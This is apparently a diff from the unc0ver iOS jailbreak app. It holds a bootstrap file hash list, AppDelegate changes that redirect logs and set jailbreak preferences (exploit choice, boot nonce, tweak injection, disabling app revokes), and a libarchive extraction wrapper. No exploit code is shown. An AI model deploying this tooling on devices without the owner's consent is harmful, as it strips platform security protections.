779220648133f21501a25a1d7f736ede ./usr/share/terminfo/73/screen3
|
||||
6e536f3f0ca81e760cca30af42ef5ee5 ./usr/share/terminfo/73/screen-16color-bce-s
|
||||
acdec11a201772f9868008c9b35370a4 ./usr/share/terminfo/73/screen-256color-bce
|
||||
451f167847fa67389cf5d57ce1407e43 ./usr/share/terminfo/73/screen.rxvt
|
||||
24337a754ffdf33baa8f7833fec84a17 ./usr/share/terminfo/73/screen.xterm-r6
|
||||
2fdd2ae242a69fc6a6846adbad436bfb ./usr/share/terminfo/73/screen-w
|
||||
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-xfree86
|
||||
4209d2ad407722c4ee0d38679569633f ./usr/share/terminfo/73/screen-16color-s
|
||||
6f004c8e3d5856b5522c8cecbc668ecd ./usr/share/terminfo/73/screen.linux
|
||||
ac3ad0fb0869538166f5a12fbcfe0c21 ./usr/share/terminfo/73/screen-256color-bce-s
|
||||
206907aeaa38189a8b2e74feae020f91 ./usr/share/terminfo/73/screen
|
||||
1e076f070f12f1039f827e518717c5e0 ./usr/share/terminfo/73/screen-bce
|
||||
40e690ba777f5df6351949d569a0c419 ./usr/share/terminfo/73/screen-256color-s
|
||||
3b4151a6763a7d1439e8b1709325f123 ./usr/share/terminfo/73/screen.mlterm
|
||||
6db29fffc6c61f7ce0052805f9d997d9 ./usr/share/terminfo/73/screen-s
|
||||
06d68826ae2b44388d31bbf15bfc3ebf ./usr/share/terminfo/73/screen.teraterm
|
||||
bc62056fcb4a9609cb0ce74bbf3fa5e8 ./usr/share/terminfo/73/screen-16color-bce
|
||||
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-new
|
||||
ffb01624d78c3593c3a5c34624186a7d ./usr/share/terminfo/73/screen-256color
|
||||
19c69a8a937560ae5f5f88b0fe6773a6 ./usr/share/terminfo/73/screen+fkeys
|
||||
6571655c5c8e2cdd82754860b0f12cf9 ./usr/share/terminfo/6c/linux-lat
|
||||
0a3b98f41dbaa4ec10b6b33e1f7e5fb8 ./usr/share/terminfo/6c/linux-koi8r
|
||||
53ab5f398fdf2fc9a04e3d443439c748 ./usr/share/terminfo/6c/linux-vt
|
||||
c908ab61179176e87feeffea61d48550 ./usr/share/terminfo/6c/linux-basic
|
||||
645999d4afb490d40ff6b55239ad8173 ./usr/share/terminfo/6c/linux
|
||||
3497148074bf923fb5947f332143b4dc ./usr/share/terminfo/6c/linux-c-nc
|
||||
5f6c4c2e8b8176b5a75551a123d6a5c7 ./usr/share/terminfo/6c/linux2.6.26
|
||||
d430677ee48aaa29b1ec07856fadf1b3 ./usr/share/terminfo/6c/linux-c
|
||||
859f454b42150769255dcb99d7715769 ./usr/share/terminfo/6c/linux-m
|
||||
ef9a25f74c562344cc9840830df27ce9 ./usr/share/terminfo/6c/linux-nic
|
||||
1e2899cc9d0dbb7e97adc7c6117e296c ./usr/share/terminfo/6c/linux-koi8
|
||||
a06a3fcbf8aebe420717a1933eb21572 ./usr/share/terminfo/76/vt100-putty
|
||||
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-nav-w
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s
|
||||
2cfff02a7d0fe4d1ae27b0127b9a7716 ./usr/share/terminfo/76/vt100+
|
||||
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100nam
|
||||
5619ee07eba86463eb529b11fa45b7a5 ./usr/share/terminfo/76/vt100-vb
|
||||
1da2593594b479b4ad1191724b755981 ./usr/share/terminfo/76/vt100+enq
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s-top
|
||||
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-nam-w
|
||||
3d6df1ce9053ede73fe26bbb393a2da4 ./usr/share/terminfo/76/vt100+fnkeys
|
||||
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w
|
||||
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100
|
||||
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-w-nav
|
||||
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-bot-s
|
||||
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-w-nam
|
||||
8fe8280e41916a873a0235c91308ebd2 ./usr/share/terminfo/76/vt100+pfkeys
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-top-s
|
||||
76baa3a9460d6112ac20dbf6f58725c2 ./usr/share/terminfo/76/vt100-nav
|
||||
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100-nam
|
||||
1fff1e9d64dd710f90c6008da71cd0a3 ./usr/share/terminfo/76/vt100-bm-o
|
||||
9093d267d0a3b5b7edc3008c6403d47b ./usr/share/terminfo/76/vt100+keypad
|
||||
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100-am
|
||||
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-s-bot
|
||||
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w-am
|
||||
846bea1b765ff91b190735acc298a355 ./usr/share/terminfo/76/vt100-bm
|
||||
0ba872cd880784a95b7af42a83c48949 ./usr/share/terminfo/78/xterm-256color
|
||||
29fb028ed95c62344e4c7481dcd29073 ./bin/cat
|
||||
6fc19a7da30a530781ee4273f2a522e9 ./bin/launchctl
|
||||
466ef7ee8a34ba8440e3acb80fa71c87 ./bin/pwd
|
||||
b341e08776130c4bbeacb3c5440a3c8a ./bin/sleep
|
||||
eef9a9be2cbabea493244700f9ae1a74 ./bin/stty
|
||||
49022225d7e96a902373075d65aec180 ./bin/date
|
||||
c88dae390cc7a36d809c47d1ebc3eb8b ./bin/bash
|
||||
07c13bc01719fade1c0de1a58e724054 ./bin/kill
|
||||
370429cf74f838ef835d2f6c0d3fa372 ./bin/sh
|
||||
917a48c4bfbf425642bc6bb211b471c8 ./bin/dd
|
||||
77478fa33e34293ec64b06520e4c177b ./bin/mkdir
|
||||
1db90ee85858bfe24c3e48ee79fc6a8f ./bin/hostname
|
||||
1af430cf9a416718a833dc7d56b83d3f ./bin/rmdir
|
||||
d7b48f7b1b6079c15ca03433aa491b80 ./bin/mv
|
||||
36d7da72f9f403da7f93d05a730e34dc ./bin/ln
|
||||
ab5a603e1b9767b4bdbc7bbe0d1c73ab ./bin/ls
|
||||
073a21568d2972f660a50a6285382e22 ./bin/cp
|
||||
960e843cbea307bbfbfbe03cf0ba6dc7 ./bin/sync
|
||||
1bcc4fc32919686b78d57ddc7c52bd9b ./bin/zsh
|
||||
cef478d4cc0ecf6e79cd66ef6637c326 ./bin/chmod
|
||||
4f5505d33d87c4a7ff02193201259efe ./bin/rm
|
||||
be57e6ecb88b09d17bade80754ac9090 ./sbin/md5
|
||||
d55d1d2b3bb292f0a0bb336fe9207b8e ./sbin/ping
|
||||
80d22f83f5a5910c514548dab882ab88 ./sbin/shutdown
|
||||
fd71b7e59272201dd1224423907f6d19 ./sbin/ifconfig
|
||||
7654ea8f99b18c262cd3eb77147640dd ./sbin/umount
|
||||
50a03c50fd14f9ec62f5354ff65b2a8c ./sbin/kextunload
|
||||
139ce2d3be19697053781879d36e932e ./sbin/mknod
|
||||
4945de2c730d66ee21d0ab14990c026f ./sbin/dmesg
|
||||
1a2802c58d678f6e8f8f8b2027c97c63 ./etc/zshrc
|
||||
fe116dfdd0905b1d881cdb27799332d3 ./etc/profile
|
||||
d41d8cd98f00b204e9800998ecf8427e ./etc/apt/sources.list.d/cydia.list
|
||||
ac0e7ddf2acd61e6c54b37f9fafc1253 ./etc/apt/sources.list.d/saurik.list
|
||||
7c47a6c3258b47b256f601d65c6dae3d ./etc/apt/trusted.gpg.d/zodttd.gpg
|
||||
4f56a1d2f4b62780e13bc494dd0eb8e6 ./etc/apt/trusted.gpg.d/bigboss.gpg
|
||||
ba6d927670a3d16eea0930c13ce60720 ./etc/apt/trusted.gpg.d/modmyi.gpg
|
||||
f2df1c620b1de53b3328f7d16be06317 ./etc/apt/trusted.gpg.d/saurik.gpg
|
||||
69c4ba7f08363e998e0f2e244a04f881 ./etc/alternatives/README
|
||||
9f17f5160584913c1ac2395923f233df ./default.ent
|
||||
@@ -11,7 +11,9 @@
|
||||
@interface AppDelegate : UIResponder <UIApplicationDelegate>
|
||||
|
||||
@property (strong, nonatomic) UIWindow *window;
|
||||
|
||||
@property (strong, atomic) NSPipe *combinedPipe;
|
||||
@property (assign) int orig_stderr;
|
||||
@property (assign) int orig_stdout;
|
||||
|
||||
@end
|
||||
|
||||
|
||||
@@ -6,10 +6,12 @@
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <sys/time.h>
|
||||
#import "AppDelegate.h"
|
||||
#include "ViewController.h"
|
||||
#include "JailbreakViewController.h"
|
||||
#include "SettingsTableViewController.h"
|
||||
#include "utils.h"
|
||||
#include "prefs.h"
|
||||
|
||||
@interface AppDelegate ()
|
||||
|
||||
@@ -17,84 +19,73 @@
|
||||
|
||||
@implementation AppDelegate
|
||||
|
||||
-(AppDelegate*)init {
|
||||
self = [super init];
|
||||
enableLogging();
|
||||
_combinedPipe = [NSPipe pipe];
|
||||
_orig_stdout = dup(STDOUT_FILENO);
|
||||
_orig_stderr = dup(STDERR_FILENO);
|
||||
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO);
|
||||
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDERR_FILENO);
|
||||
[self performSelectorInBackground:@selector(handlePipe) withObject:nil];
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSString*)readDataFromFD:(int)infd toFD:(int)outfd {
|
||||
char s[0x10000];
|
||||
|
||||
ssize_t nread = read(infd, s, sizeof(s));
|
||||
if (nread <= 0)
|
||||
return nil;
|
||||
|
||||
write(outfd, s, nread);
|
||||
if (logfd > 0) {
|
||||
if (write(logfd, s, nread) != nread) {
|
||||
write(_orig_stderr, "error writing to logfile\n", 26);
|
||||
}
|
||||
}
|
||||
return [[NSString alloc] initWithBytes:s length:nread encoding:NSUTF8StringEncoding];
|
||||
}
|
||||
|
||||
- (void)handlePipe {
|
||||
fd_set fds;
|
||||
NSMutableString *outline = [NSMutableString new];
|
||||
|
||||
int input_fd = _combinedPipe.fileHandleForReading.fileDescriptor;
|
||||
int rv;
|
||||
|
||||
do {
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(input_fd, &fds);
|
||||
rv = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
|
||||
if (FD_ISSET(input_fd, &fds)) {
|
||||
NSString *read = [self readDataFromFD:input_fd toFD:_orig_stdout];
|
||||
if (read == nil)
|
||||
continue;
|
||||
[outline appendString:read];
|
||||
NSRange lastNewline = [read rangeOfString:@"\n" options:NSBackwardsSearch];
|
||||
if (lastNewline.location != NSNotFound) {
|
||||
lastNewline.location = outline.length - (read.length - lastNewline.location);
|
||||
NSRange wanted = {0, lastNewline.location + 1};
|
||||
[JailbreakViewController.sharedController appendTextToOutput:[outline substringWithRange:wanted]];
|
||||
[outline deleteCharactersInRange:wanted];
|
||||
}
|
||||
}
|
||||
} while (rv > 0);
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
||||
// Override point for customization after application launch.
|
||||
[self initPrefs];
|
||||
[self initShortcuts];
|
||||
UIApplication.sharedApplication.idleTimerDisabled = TRUE;
|
||||
return YES;
|
||||
}
|
||||
|
||||
|
||||
- (void)initPrefs {
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_REFRESH_ICON_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0xbd34a880be0b53f3" forKey:K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] != nil &&
|
||||
!supportsExploit([[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT])) {
|
||||
[[NSUserDefaults standardUserDefaults] removeObjectForKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:recommendedJailbreakSupport() forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_AUTO_UPDATES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_APP_REVOKES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_OVERWRITE_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPORT_KERNEL_TASK_PORT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESTORE_ROOTFS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0x0" forKey:K_ECID];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RELOAD_SYSTEM_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
register_default_prefs();
|
||||
repair_prefs();
|
||||
}
|
||||
|
||||
- (void)initShortcuts {
|
||||
@@ -108,7 +99,7 @@
|
||||
- (void)application:(UIApplication *)application performActionForShortcutItem:(UIApplicationShortcutItem *)shortcutItem completionHandler:(void (^)(BOOL))completionHandler {
|
||||
switch ([[shortcutItem type] integerValue]) {
|
||||
case 1: {
|
||||
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
break;
|
||||
}
|
||||
default:
|
||||
@@ -117,8 +108,8 @@
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
|
||||
if ([[url scheme] isEqualToString:@"jailbreak"]) {
|
||||
[[ViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
if ([[url absoluteString] isEqualToString:@"undecimus://jailbreak"]) {
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
return YES;
|
||||
}
|
||||
return NO;
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
//
|
||||
// Archive.h
|
||||
//
|
||||
// Created by Sam Bingner on 1/4/19.
|
||||
// Copyright © 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef _ARCHIVE_FILE_H
|
||||
#define _ARCHIVE_FILE_H
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <archive.h>
|
||||
|
||||
@interface ArchiveFile : NSObject
|
||||
@property (strong,readonly) NSDictionary *files;
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString*)filename;
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd;
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename;
|
||||
-(ArchiveFile*)initWithFd:(int)fd;
|
||||
-(BOOL)contains:(NSString*)file;
|
||||
-(NSDictionary *)files;
|
||||
-(BOOL)extract;
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd;
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path;
|
||||
-(BOOL)extractWithFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path;
|
||||
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group;
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group;
|
||||
@end
|
||||
|
||||
#endif /* _ARCHIVE_FILE_H */
|
||||
@@ -0,0 +1,515 @@
|
||||
//
|
||||
// Archive.m
|
||||
//
|
||||
// Created by Sam Bingner on 1/4/19.
|
||||
// Copyright © 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#import "ArchiveFile.h"
|
||||
#import <archive.h>
|
||||
#import <archive_entry.h>
|
||||
#import <inject.h> // Test static trust cache
|
||||
|
||||
#define DEFAULT_FLAGS (ARCHIVE_EXTRACT_TIME|ARCHIVE_EXTRACT_PERM|ARCHIVE_EXTRACT_ACL| \
|
||||
ARCHIVE_EXTRACT_FFLAGS|ARCHIVE_EXTRACT_OWNER|ARCHIVE_EXTRACT_UNLINK)
|
||||
|
||||
static int
|
||||
copy_data(struct archive *ar, struct archive *aw)
|
||||
{
|
||||
int r;
|
||||
const void *buff;
|
||||
size_t size;
|
||||
off_t offset;
|
||||
|
||||
for (;;) {
|
||||
r = archive_read_data_block(ar, &buff, &size, &offset);
|
||||
if (r == ARCHIVE_EOF)
|
||||
return (ARCHIVE_OK);
|
||||
if (r < ARCHIVE_OK)
|
||||
return (r);
|
||||
if (archive_write_data_block(aw, buff, size, offset) < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(aw));
|
||||
return (r);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@implementation ArchiveFile {
|
||||
NSMutableDictionary *_files;
|
||||
int _fd;
|
||||
BOOL _hasReadFiles;
|
||||
BOOL _isPipe;
|
||||
}
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString *)filename
|
||||
{
|
||||
#if __has_feature(objc_arc)
|
||||
return [[ArchiveFile alloc] initWithFile:filename];
|
||||
#else
|
||||
return [[[ArchiveFile alloc] initWithFile:filename] autorelease];
|
||||
#endif
|
||||
}
|
||||
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd
|
||||
{
|
||||
#if __has_feature(objc_arc)
|
||||
return [[ArchiveFile alloc] initWithFd:fd];
|
||||
#else
|
||||
return [[[ArchiveFile alloc] initWithFd:fd] autorelease];
|
||||
#endif
|
||||
}
|
||||
-(void)addEntry:(struct archive_entry *)entry
|
||||
{
|
||||
NSString *path = @(archive_entry_pathname(entry));
|
||||
_files[path] = [NSMutableDictionary new];
|
||||
_files[path][@"mode"] = @(archive_entry_mode(entry));
|
||||
_files[path][@"uid"] = @(archive_entry_uid(entry));
|
||||
_files[path][@"gid"] = @(archive_entry_gid(entry));
|
||||
time_t mtime = archive_entry_mtime(entry);
|
||||
if (mtime) {
|
||||
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
|
||||
}
|
||||
}
|
||||
-(void)readContents
|
||||
{
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
|
||||
return;
|
||||
|
||||
struct archive_entry *entry;
|
||||
while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
|
||||
[self addEntry:entry];
|
||||
}
|
||||
_hasReadFiles = YES;
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
}
|
||||
|
||||
-(ArchiveFile*)init
|
||||
{
|
||||
self = [super init];
|
||||
_files = [NSMutableDictionary new];
|
||||
_hasReadFiles = NO;
|
||||
return self;
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename
|
||||
{
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:filename]) {
|
||||
NSLog(@"Archive: File \"%@\" does not exist", filename);
|
||||
return nil;
|
||||
}
|
||||
self = [self init];
|
||||
|
||||
_fd = open(filename.UTF8String, O_RDONLY);
|
||||
if (_fd < 0) {
|
||||
perror("Archive open file returned error");
|
||||
return nil;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
|
||||
return nil;
|
||||
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFd:(int)fd
|
||||
{
|
||||
self = [self init];
|
||||
_isPipe = YES;
|
||||
|
||||
_fd = fd;
|
||||
if (_fd < 0) {
|
||||
perror("Dup fd");
|
||||
return nil;
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSDictionary*)files {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return [_files copy];
|
||||
}
|
||||
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
|
||||
if (fd < 0) {
|
||||
NSLog(@"Archive: invalid fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
if (fileNum < 1) {
|
||||
NSLog(@"Archive: invalid fileNum");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv ;
|
||||
for (int i=1; (rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK && i<fileNum; i++);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no file %d", fileNum);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = archive_read_data_into_fd(a, fd);
|
||||
}
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract:(NSString*)file toFd:(int)fd
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
|
||||
if (fd < 0) {
|
||||
NSLog(@"Archive: invalid fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
|
||||
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
|
||||
);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no such file \"%@\"", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
|
||||
NSLog(@"Archive: Unable to find entry for %@", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = archive_read_data_into_fd(a, fd);
|
||||
}
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
int flags = DEFAULT_FLAGS;
|
||||
|
||||
int fd = dup(_fd);
|
||||
if (fd == -1) {
|
||||
NSLog(@"Archive: unable to dupe fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
struct archive *ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
|
||||
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
|
||||
);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no such file \"%@\"", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
|
||||
NSLog(@"Archive: Unable to find entry for %@", file);
|
||||
goto out;
|
